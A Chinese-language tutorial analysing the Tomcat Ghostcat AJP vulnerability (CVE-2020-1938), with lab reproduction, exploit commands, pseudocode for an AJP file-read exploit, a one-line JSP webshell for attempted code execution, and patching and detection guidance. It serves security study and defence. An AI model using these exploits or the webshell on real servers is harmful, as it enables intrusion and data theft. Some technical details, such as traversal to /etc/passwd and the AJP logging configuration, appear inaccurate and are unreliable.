CVE-2020-1938幽灵猫漏洞:AJP协议文件读取与代码执行深度剖析
1. 项目概述:幽灵之门CVE-2020-1938
如果你负责的线上Java Web应用还在使用特定版本的Apache Tomcat,那么你的服务器可能正敞开着一道“幽灵之门”。这道门,就是CVE-2020-1938,一个在2020年初被披露的严重文件读取漏洞。它不像那些需要复杂交互的远程代码执行漏洞,攻击者甚至不需要知道你的应用长什么样,就能悄无声息地读取服务器上的任意文件,包括敏感的配置文件、源代码,甚至是系统级的密钥。这个漏洞的官方编号是CNVD-2020-10487,但圈内人更习惯叫它“Ghostcat”,幽灵猫,形象地描绘了它无声无息、来去无踪的特性。
简单来说,这个漏洞的核心在于Tomcat的AJP协议。AJP(Apache JServ Protocol)是Tomcat与前端HTTP服务器(如Apache HTTPD)之间进行高效通信的一个二进制协议。为了方便内部通信,Tomcat默认会开启一个AJP连接器,监听在8009端口。问题就出在这个AJP连接器的实现上。在特定版本的Tomcat中,攻击者可以通过构造恶意的AJP请求,欺骗Tomcat将服务器上的任意文件内容,通过AJP响应返回。更危险的是,如果目标文件是一个可执行的JSP文件,在某些配置下,攻击者甚至能实现有限的代码执行。对于运维、安全研究以及Java开发者而言,理解并复现这个漏洞,不仅是掌握一项重要的安全攻防技能,更是对自己负责的系统进行一次深刻的安全体检。本文将带你从零开始,在可控的实验室环境中,亲手打开并审视这扇“幽灵之门”,理解其运作的每一个齿轮,并最终学会如何将它牢牢关上。
2. 漏洞原理深度剖析:AJP协议与请求走私
要理解幽灵猫,必须先理解AJP。很多人把Tomcat单纯看作一个Web服务器,但实际上,在生产环境中,它更多时候是以“应用服务器”的角色,躲在前端Web服务器(如Nginx或Apache HTTPD)后面。前端服务器处理静态文件、负载均衡和SSL终结,而动态的JSP/Servlet请求则通过AJP协议高效地转发给后端的Tomcat。AJP是一个基于TCP的二进制协议,相比HTTP文本协议,它更紧凑、更快。
2.1 AJP连接器的关键属性
在Tomcat的server.xml配置文件中,默认就存在一个AJP连接器:
<!-- 通常位于 $CATALINA_HOME/conf/server.xml --> <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />这个连接器有几个关键属性,与漏洞息息相关:
port: 监听端口,默认8009。protocol: 协议版本,AJP/1.3。secret(可选): AJP认证密钥。如果设置了secret,只有提供正确密钥的请求才会被处理。但默认情况下,这个属性是空的!这意味着,任何能访问到服务器8009端口的客户端,都可以直接与AJP服务对话。address(可选): 绑定地址。默认监听0.0.0.0,即所有网络接口。在云服务器环境下,这非常危险。
2.2 漏洞的根源:request_uri与path_info的混淆
漏洞的核心在于Tomcat处理AJP请求时,对request_uri和path_info这两个属性的解析逻辑存在缺陷。
request_uri: 表示请求的原始URI,例如/docs/index.html。path_info: 在Servlet规范中,它代表在Servlet路径之后、查询字符串之前的部分,通常用于“路径参数”。例如,对于一个映射到/servlet/*的Servlet,访问/servlet/extra/path时,path_info就是/extra/path。
在正常的HTTP请求中,Tomcat会严格区分它们。但在处理AJP请求时,受影响版本的代码(主要是org.apache.coyote.ajp.AbstractAjpProcessor类)存在一个逻辑错误:当攻击者在AJP请求中精心设置req_uri属性(对应request_uri)和path_info属性时,Tomcat在后续构建请求对象时,错误地将path_info的部分内容拼接到了用于定位资源的最终路径中。
攻击者可以这样构造恶意请求:
- 设置
req_uri为一个已知的、存在的Web应用文件,比如/docs/(一个默认存在的静态目录)。 - 设置
path_info为../../../../../../../etc/passwd。
由于代码的拼接逻辑缺陷,Tomcat在解析时,可能会错误地将path_info这个本应作为“路径信息”处理的字符串,直接当作文件系统路径的一部分进行解析。../是经典的目录遍历符号。经过错误的拼接和标准化(normalize)后,Tomcat最终会尝试去读取/etc/passwd这个系统文件,并将其内容通过AJP响应返回给攻击者。
2.3 从文件读取到代码执行
单纯的目录遍历读取文件已经很严重,但幽灵猫的威胁不止于此。如果攻击者尝试读取一个位于Web应用目录下的JSP文件,情况会变得更糟。
Tomcat对JSP文件有一套处理流程:当请求一个.jsp文件时,Tomcat会先检查其是否已被编译,如果没有,则会调用Jasper编译器将其编译成Servlet的.java文件和对应的.class文件,然后执行。关键在于,触发JSP编译和执行的判断,是基于请求的URI,而不是最终读取的文件路径。
攻击者可以这样利用:
- 构造AJP请求,通过目录遍历,让Tomcat读取一个Web应用之外的、攻击者可控内容的文本文件(比如通过其他上传漏洞传上去的一个文本文件)。
- 但是,如果直接读取一个非JSP文件,Tomcat只会把它当作静态文本返回。
- 为了实现代码执行,攻击者需要“骗过”Tomcat。一种方法是利用“文件上传+路径穿越”先上传一个包含JSP代码的文本文件到某个可访问目录(比如
/upload/),但这个文件后缀名可能不是.jsp。 - 然后,构造一个特殊的AJP请求,其
req_uri指向一个不存在的、但以.jsp结尾的虚拟路径,比如/upload/evil.jsp,同时利用path_info的缺陷,让Tomcat实际去读取刚才上传的那个文本文件。 - 由于请求的URI (
/upload/evil.jsp) 以.jsp结尾,Tomcat会尝试将其作为JSP文件来编译和执行。而在处理过程中,因为漏洞,它实际读取并编译执行的是那个上传的文本文件内容,从而实现了远程代码执行。
注意:这种RCE利用条件更为苛刻,需要Web应用存在文件上传功能且上传路径可知,并且Tomcat的配置允许JSP执行。但文件读取的利用条件则宽泛得多。
3. 漏洞复现环境搭建与工具准备
理论分析之后,我们进入实战环节。安全研究必须在隔离的、可控的实验室环境中进行,严禁对任何未授权的系统进行测试。
3.1 靶机环境搭建
我们将使用Docker快速搭建一个存在漏洞的Tomcat环境,这是最安全、最便捷的方式。
安装Docker:确保你的实验机(可以是物理机或虚拟机)已安装Docker。以Ubuntu为例:
sudo apt-get update sudo apt-get install docker.io sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组,避免每次用sudo sudo usermod -aG docker $USER # 退出终端重新登录生效拉取漏洞镜像:社区有维护好的漏洞环境镜像。我们使用一个经典的靶场镜像。
docker pull vulhub/tomcat:8.5.0这个镜像基于Tomcat 8.5.0版本,该版本在受影响范围内。
启动漏洞容器:
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat vulhub/tomcat:8.5.0-d: 后台运行。-p 8080:8080: 将容器的HTTP端口映射到宿主机的8080端口,方便我们通过浏览器访问Tomcat默认页。-p 8009:8009:关键!将容器的AJP端口8009也映射出来,这是我们攻击的入口。--name ghostcat: 给容器起个名字。
验证环境:
- 打开浏览器,访问
http://your-lab-ip:8080。你应该能看到Apache Tomcat 8.5.0的默认欢迎页面。 - 在终端执行
docker ps,应能看到名为ghostcat的容器正在运行。
- 打开浏览器,访问
3.2 攻击机工具准备
我们需要一个能发送原生AJP协议数据包的工具。最常用的是python-ajp库。我们直接使用一个集成了该库的漏洞利用脚本。
- 安装Python3:确保攻击机已安装Python3(通常Linux/macOS已自带,Windows需自行安装)。
- 下载利用脚本:可以从安全研究社区获取针对CVE-2020-1938的利用脚本。这里我们假设使用一个名为
ghostcat.py的脚本。你需要将其下载到本地。# 示例,实际脚本来源需自行寻找合规的安全研究资源 # wget https://example.com/poc/ghostcat.py - 安装脚本依赖:该脚本通常依赖
python-ajp库。
如果安装失败,可以尝试从GitHub克隆源码安装:pip3 install python-ajpgit clone https://github.com/hypn0s/AJPy.git cd AJPy python3 setup.py install
3.3 网络拓扑与配置确认
在开始攻击前,请再次确认你的环境:
- 靶机IP:运行Docker容器的实验机IP地址。假设为
192.168.1.100。 - 端口开放:确保宿主机的8080和8009端口在实验网络内是可访问的。如果是在虚拟机里,检查网络连接模式(桥接/NAT)。
- 防火墙:临时关闭实验机和宿主机的防火墙,避免干扰。
# Ubuntu sudo ufw disable # CentOS sudo systemctl stop firewalld
实操心得:使用Docker搭建漏洞环境是安全学习的黄金标准。它完美实现了环境隔离、快速重置(
docker rm -f ghostcat然后重跑即可)、版本精准控制。永远不要在物理主机或业务服务器上直接安装有漏洞的中间件进行测试。
4. 漏洞复现实操步骤详解
环境就绪,工具在手,现在我们开始一步一步地“打开”幽灵猫之门。
4.1 信息收集:确认AJP端口
首先,我们需要确认靶机的8009端口确实开放且是Tomcat AJP服务。
# 使用nmap进行端口扫描 nmap -sV -p 8009 192.168.1.100预期输出中,端口状态应为open,服务识别可能显示ajp或未知。只要端口开放,我们就可以进行下一步。
4.2 基础文件读取利用
我们首先尝试最经典的利用:读取服务器上的任意文件。以读取Tomcat的配置文件web.xml为例,它通常位于Web应用的WEB-INF/目录下,这个目录受保护,无法通过HTTP直接访问,但通过AJP漏洞可以读取。
使用下载的ghostcat.py脚本(假设脚本用法为python3 ghostcat.py <target_ip> <target_port> <file_path>):
python3 ghostcat.py 192.168.1.100 8009 /WEB-INF/web.xml执行过程与结果分析:
- 脚本会构造一个恶意的AJP请求,发往靶机的8009端口。
- 请求中,
req_uri可能被设置为一个默认存在的静态资源路径(如/或/docs/),而path_info则通过目录遍历指向/WEB-INF/web.xml。 - 如果漏洞存在,靶机Tomcat会错误地解析这个请求,读取
web.xml文件的内容。 - 脚本会将读取到的内容打印在终端上。
你应该能看到web.xml文件的XML内容被输出。这证明了漏洞存在,并且文件读取成功。
尝试读取系统文件:
python3 ghostcat.py 192.168.1.100 8009 /../../../../../../etc/passwd这条命令尝试穿越目录,读取Linux系统的用户账户文件/etc/passwd。如果成功,你将看到系统的用户列表。这直观地展示了漏洞的严重性——攻击者可以从Web上下文跳转到整个文件系统。
4.3 利用脚本核心代码拆解
理解脚本在做什么,比单纯运行脚本更重要。我们来看一下此类利用脚本的核心逻辑(伪代码):
import ajp def exploit(target_ip, target_port, filename): # 1. 建立到目标AJP端口的Socket连接 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # 2. 构造AJP Forward Request数据包 # 这是一个序列化的二进制数据包 request = ajp.ForwardRequest() # 3. 设置关键属性 # 设置请求方法为GET request.method = 'GET' # 设置协议和服务器信息 request.protocol = 'HTTP/1.1' request.req_uri = '/' # 设置为根路径或一个已知存在的路径 request.remote_addr = target_ip request.remote_host = target_ip request.server_name = target_ip request.server_port = 80 # 4. 注入恶意的path_info属性 # 这是触发漏洞的关键! request.attributes.append(('path_info', filename)) # filename 即 /../../../../etc/passwd # 5. 添加其他必要属性 request.attributes.append(('context', '')) # 通常为空 request.attributes.append(('servlet_path', '')) # 通常为空 request.attributes.append(('jvm_route', '')) # 6. 发送请求并接收响应 ajp.send(request, sock) response = ajp.receive(sock) # 7. 解析并打印响应体(即文件内容) if response.body: print(response.body.decode('utf-8', errors='ignore')) else: print("未读取到内容或文件不存在。") sock.close()关键点在于第4步:脚本向AJP请求的属性列表中添加了一个path_info属性,其值就是我们想要读取的文件路径(包含目录遍历)。Tomcat的漏洞代码错误地处理了这个属性,导致了文件读取。
4.4 进阶:尝试代码执行(条件利用)
如前所述,实现RCE需要更多条件。我们模拟一个更理想的场景:假设我们通过其他方式知道Tomcat有一个文件上传功能,上传路径为/upload/,并且我们成功上传了一个内容为JSP Webshell的文本文件shell.txt,其内容为<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>。
我们的目标是让Tomcat以JSP方式执行这个shell.txt。
- 首先,确认文件已上传,假设其物理路径对应Web路径为
/upload/shell.txt。 - 构造利用请求,欺骗Tomcat:
- 我们不能直接读取
/upload/shell.txt,因为Tomcat会把它当静态文本返回。 - 我们需要让Tomcat“认为”它正在请求一个JSP文件,但实际读取的是我们的文本文件。
- 这需要利用漏洞中关于请求URI和实际文件路径分离的特性。在某些利用脚本中,可以通过同时控制
req_uri和path_info来实现。
- 我们不能直接读取
一个可能的利用命令尝试(具体参数取决于脚本实现):
python3 ghostcat_rce.py 192.168.1.100 8009 /upload/shell.jsp /upload/shell.txt这里,脚本可能会将req_uri设置为/upload/shell.jsp(一个不存在的.jsp文件),而将path_info设置为/upload/shell.txt(实际存在的文件)。漏洞代码的错误拼接,可能导致Tomcat以处理JSP请求的流程去编译和执行shell.txt的内容。
如果成功,访问http://192.168.1.100:8080/upload/shell.jsp?cmd=whoami就可能执行系统命令。请注意,这种利用成功率受Tomcat版本、配置、文件权限等多重因素影响,在默认的Docker靶场环境中可能无法直接成功,但它揭示了漏洞的理论上限。
注意事项:在实际渗透测试中,文件读取漏洞往往比直接RCE更有价值。通过读取配置文件(如
web.xml,context.xml,server.xml)、数据库连接文件、源代码等,攻击者可以获取大量信息,为后续的深入攻击(如SQL注入、逻辑漏洞利用、密码破解)铺平道路。幽灵猫首先是一个强大的信息泄露漏洞。
5. 漏洞修复与安全加固方案
复现漏洞是为了更好地防御。针对CVE-2020-1938,有以下多层次的安全加固方案。
5.1 官方补丁升级
最根本的解决方案是升级Tomcat到不受影响的版本。
- 受影响版本:
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- 安全版本:
- Apache Tomcat 9.0.31 及以上
- Apache Tomcat 8.5.51 及以上
- Apache Tomcat 7.0.100 及以上
升级步骤:
- 访问Apache Tomcat官网下载最新稳定版。
- 备份当前Tomcat的
conf,webapps,logs,work目录以及所有自定义配置。 - 停止Tomcat服务。
- 替换Tomcat安装目录(保留备份)。
- 将备份的配置文件和应用程序还原到新版本中。
- 启动Tomcat并进行全面功能测试。
5.2 临时缓解措施(如果无法立即升级)
如果因为兼容性等问题无法立即升级,可以采取以下立即可行的缓解措施:
1. 禁用AJP连接器(推荐)如果业务架构中未使用AJP协议(即没有用Apache HTTPD等前端服务器通过AJP与Tomcat集成),最彻底的方法就是直接关闭它。 编辑$CATALINA_HOME/conf/server.xml,找到如下行:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />将其注释掉或删除:
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->重启Tomcat生效。之后,攻击者将无法连接到8009端口。
2. 为AJP连接器设置强密码(Secret)如果必须使用AJP,务必为其设置一个复杂且保密的secret。 编辑server.xml,修改AJP连接器配置:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="127.0.0.1" secret="YourStrongSecretHere" />secret: 设置一个高强度、随机的字符串作为密钥。所有通过AJP连接的前端服务器(如Apache)也必须配置相同的密钥。address="127.0.0.1": 将监听地址限制为本地回环,防止来自网络的直接攻击。这是极其重要的一步,即使设置了secret,如果监听在0.0.0.0,仍然存在被暴力破解或中间人攻击的风险。
3. 使用网络防火墙限制访问在操作系统或云平台安全组层面,设置规则只允许可信的前端服务器IP地址访问Tomcat服务器的8009端口。例如,在Linux中使用iptables:
# 只允许IP为192.168.1.50的前端服务器访问8009端口 iptables -A INPUT -p tcp -s 192.168.1.50 --dport 8009 -j ACCEPT iptables -A INPUT -p tcp --dport 8009 -j DROP5.3 安全配置最佳实践
除了针对此漏洞的修复,以下Tomcat安全配置最佳实践应成为常态:
最小权限原则运行:不要使用root用户运行Tomcat。创建一个专用的、低权限的系统用户(如
tomcat)来运行Tomcat服务。useradd -r -m -U -d /opt/tomcat -s /bin/false tomcat chown -R tomcat: /opt/tomcat sudo -u tomcat /opt/tomcat/bin/startup.sh删除或禁用默认应用:生产环境中应移除
webapps目录下的docs,examples,host-manager,manager等默认应用,它们可能包含已知漏洞或暴露管理接口。强化
server.xml配置:- 为所有连接器(HTTP和AJP)设置
address属性,限制监听IP。 - 禁用不必要的方法:在
web.xml的security-constraint中限制HTTP方法。 - 设置严格的
Resource和Realm配置。
- 为所有连接器(HTTP和AJP)设置
定期更新与漏洞扫描:订阅Tomcat安全公告,定期更新版本。使用Nessus, OpenVAS等漏洞扫描工具定期对服务进行扫描。
6. 排查技巧与深度防御思考
即使打了补丁,安全也是一个持续的过程。以下是一些排查技巧和深度防御思路。
6.1 如何判断系统是否曾被利用?
如果怀疑系统可能已被攻击,可以检查以下日志和痕迹:
Tomcat访问日志:默认的访问日志不记录AJP请求。你需要确保AJP访问日志被开启。在
server.xml的AJP连接器中添加以下属性:<Connector ... enableLookups="false" redirectPort="8443" pattern="combined" directory="logs" prefix="localhost_ajp_access_log" suffix=".txt"/>重启后,会在
logs目录生成localhost_ajp_access_log.[date].txt文件。检查其中是否有异常的、包含大量../的请求路径。系统日志:检查
/var/log/auth.log(Ubuntu/Debian) 或/var/log/secure(CentOS/RHEL),查看是否有异常的用户登录或sudo提权记录。攻击者读取/etc/passwd或/etc/shadow后可能会尝试暴力破解。文件系统异常:检查Web根目录下是否出现陌生的、特别是以
.jsp或.jspx结尾的可疑文件。使用find命令结合文件修改时间进行排查。find /path/to/tomcat/webapps -name "*.jsp" -mtime -1 # 查找一天内修改过的jsp文件网络连接监控:使用
netstat或ss命令查看是否有异常的外连IP连接到8009端口或从服务器发起外连。netstat -antp | grep :8009
6.2 针对AJP协议的深度监控
由于AJP是二进制协议,传统的WAF(Web应用防火墙)可能无法有效解析和检测其攻击载荷。需要考虑:
- 部署支持AJP解析的下一代WAF或IPS:一些商业或开源的深度包检测(DPI)设备可以解码AJP协议并进行规则匹配。
- 在Tomcat前部署AJP代理并开启日志:使用一个轻量级代理(如使用Nginx的
stream模块)监听AJP端口,将流量转发给Tomcat,并在代理层记录完整的AJP请求数据,用于事后审计。 - 应用层监控:在Java应用层面,可以通过实现自定义的Valve或Filter,对请求的
path_info和servlet_path等属性进行合法性校验,过滤包含../等危险字符的请求。
6.3 从漏洞复现中学到的安全启示
CVE-2020-1938给我们上了生动的一课:
- 默认配置即危险:Tomcat默认开启AJP且无认证,监听所有接口。这再次印证了“最小服务原则”,任何不必要的服务都应默认关闭或严格限制。
- 协议安全同等重要:开发和安全人员往往更关注HTTP/S接口的安全,而忽略了内部通信协议(如AJP, RMI, JMX)。这些协议通常缺乏像HTTP那样成熟的审计、加密和防护生态。
- 输入验证的普适性:漏洞根源是未对
path_info属性进行有效的规范化(normalize)和路径穿越检查。所有来自外部的输入,无论通过什么协议、什么字段,都必须视为不可信的,必须经过严格的验证和过滤。这不仅适用于HTTP参数,也适用于HTTP头、Cookie、文件路径、以及像AJP这样的二进制协议属性。 - 纵深防御:不要依赖单一的安全边界。即使修复了Tomcat漏洞,也应通过网络分区、主机防火墙、严格的文件系统权限、定期审计等多层防御机制,降低被突破后的影响范围。
我个人在多次内网渗透测试中发现,即便在2023年,依然有大量企业的测试环境甚至生产环境存在未授权AJP端口暴露在公网或内网大范围区域的情况。一次简单的端口扫描(nmap -p 8009 10.0.0.0/8)配合此漏洞的利用,往往能成为撕开内网防线的第一道口子。因此,将这个漏洞的排查与修复纳入日常的安全运维清单,是每个基础设施守护者的必修课。
